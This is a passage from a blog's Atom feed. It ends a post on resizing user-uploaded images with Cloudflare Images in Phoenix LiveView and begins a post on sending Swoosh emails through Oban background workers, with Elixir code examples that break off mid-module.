&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;size_variant&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;resource_url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;consume_uploaded_entries&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:cover&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;path: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;byte_content&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;read!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;          &lt;span style=&quot;color: #ffa657;&quot;&gt;UploadImage&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;client_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;byte_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;size_variant&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;course&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;course&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;course&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Courses&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_course&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;course&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;cover_url&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;resource_url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;course: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;course&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/resize-user-provided-images-with-cloudflare"/>
    <id>https://peterullrich.com/resize-user-provided-images-with-cloudflare</id>
    <title>Resize User-provided Images with Cloudflare Images</title>
    <updated>2023-12-23T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome back to another article! Let&apos;s start with the mandatory dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Apparently you can’t use “beef stew” as a password.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;It’s not stroganoff.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright, now let&apos;s talk about a small but important topic: How to build emails with Swoosh and send them through Oban background workers.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Almost all applications have to send emails. Whenever somebody registers or buys something, you send out emails. The problem with sending emails is that either you send them synchronously as part of a transaction or send them asynchronously after an action completes. For example, when a user clicks the &quot;Buy now&quot; button and your system has to handle the purchase action, you can either create the order and send the email in the same transaction or you only create the order and schedule the email for later.&lt;/p&gt;
&lt;p&gt;The synchronous option has the benefit that you will never have an order for which you haven&apos;t sent the confirmation email, but it also means that users can&apos;t purchase anything if you can&apos;t send the email. This is a significant risk. Mailing services don&apos;t offer 100% availability and might refuse to send your email at random times (usually late at night on weekends so you won&apos;t notice until Monday morning and probably lose your annual revenue in orders until then). Also, you might deploy a bug to the email sending code which now also breaks your purchase code. Fun!&lt;/p&gt;
&lt;p&gt;The asynchronous option has the benefit that sending the email will never block the user from purchasing. It also makes the whole interaction faster because you don&apos;t wait until the email is sent before letting the user know that they successfully &lt;a href=&quot;&quot;&gt;bought their 10th CO2 monitor in a week&lt;/a&gt;! The downside of this option is your email might never get sent. For example, if you spin up a new process for sending the email and your server decides to shut down at exactly that moment, the process goes bye-bye, and the email is lost. It&apos;s not great, but not as bad as blocking users from giving you money.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;So, we see that asynchronous email sending is preferable to synchronous sending because we like having money to pay rent and buy CO2 monitors. Let&apos;s discuss how we can make the asynchronous sending as robust as possible. Whenever you think &quot;robust&quot; and &quot;asynchronous&quot;, the answer is often the &lt;a href=&quot;https://github.com/sorentwo/oban&quot;&gt;Oban&lt;/a&gt; background processing library. Oban is amazing for working with background jobs. We can leverage them for scheduling and sending our emails. So, let&apos;s dive into the code next.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-code&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-code&quot;&gt;&lt;/a&gt;The Code&lt;/h2&gt;
&lt;p&gt;As an example, we will refactor the email-sending code of an auto-generated Phoenix application. When you create a new Phoenix app with authentication, it comes with the &lt;code&gt;UserNotfier&lt;/code&gt; module for sending authentication-related emails using the &lt;a href=&quot;https://github.com/swoosh/phoenix_swoosh&quot;&gt;Swoosh&lt;/a&gt; library by default. It sends the emails synchronously for now, so let&apos;s refactor it to use an Oban background worker instead.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-mailer&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-mailer&quot;&gt;&lt;/a&gt;The Mailer&lt;/h3&gt;
&lt;p&gt;Here&apos;s the final code of the mailer. We&apos;ll discuss it below:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# lib/accounts/user_notifier.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Accounts.UserNotifier&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deliver&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;recipient&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;subject&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;recipient&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Your Name&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;your-email.com&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;subject&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;subject&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;text_body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email_map&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Mailer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;         &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_job&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;enqueue_worker&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;email_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;enqueue_worker&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;email: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Workers.SendEmail&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Oban&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Public functions for sending emails&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you compare this version with the auto-generated one, you&apos;ll see that only a few lines changed. Instead of calling &lt;code&gt;MyApp.Mailer.deliver(email)&lt;/code&gt; directly, we call &lt;code&gt;enqueue_worker(email_map)&lt;/code&gt; instead which inserts a new &lt;code&gt;SendEmail&lt;/code&gt; worker into the Oban queue. Nothing you haven&apos;t seen yet if you&apos;ve ever worked with Oban.&lt;br /&gt;
The unusual part is the &lt;code&gt;MyApp.Mailer.to_map(email)&lt;/code&gt; function. The problem that this code solves is that our &lt;code&gt;email&lt;/code&gt; is a &lt;code&gt;Swoosh.Email&lt;/code&gt;-struct when we insert it as an argument for the Oban worker. However, Oban serializes all arguments to JSON before inserting them into the database. In Elixir, we can&apos;t simply convert a struct to JSON. Also, the email struct uses tuples for some fields like the &lt;code&gt;to&lt;/code&gt;-field which often looks like this: &lt;code&gt;[&amp;lbrace;&quot;recipient name&quot;, &quot;recipient@email.com&quot;&amp;rbrace;]&lt;/code&gt;. There&apos;s no JSON equivalent for tuples, so we need to convert them first.&lt;/p&gt;
&lt;p&gt;That&apos;s where the &lt;code&gt;Mailer.to_map(email)&lt;/code&gt; helper comes in. Let&apos;s have a look at the implementation next:&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-converter&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-converter&quot;&gt;&lt;/a&gt;The Converter&lt;/h3&gt;
&lt;p&gt;This is the full implementation of the &lt;code&gt;Mailer&lt;/code&gt; module. It converts &lt;code&gt;Swoosh.Email&lt;/code&gt;-structs to simple maps and simple maps back to &lt;code&gt;Swoosh.Email&lt;/code&gt;-structs. It also &quot;sanitizes&quot; the tuples used in the contact fields so that we can serialize them to JSON.&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# lib/mailer.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Mailer&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Swoosh.Mailer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;otp_app: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Swoosh.Email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
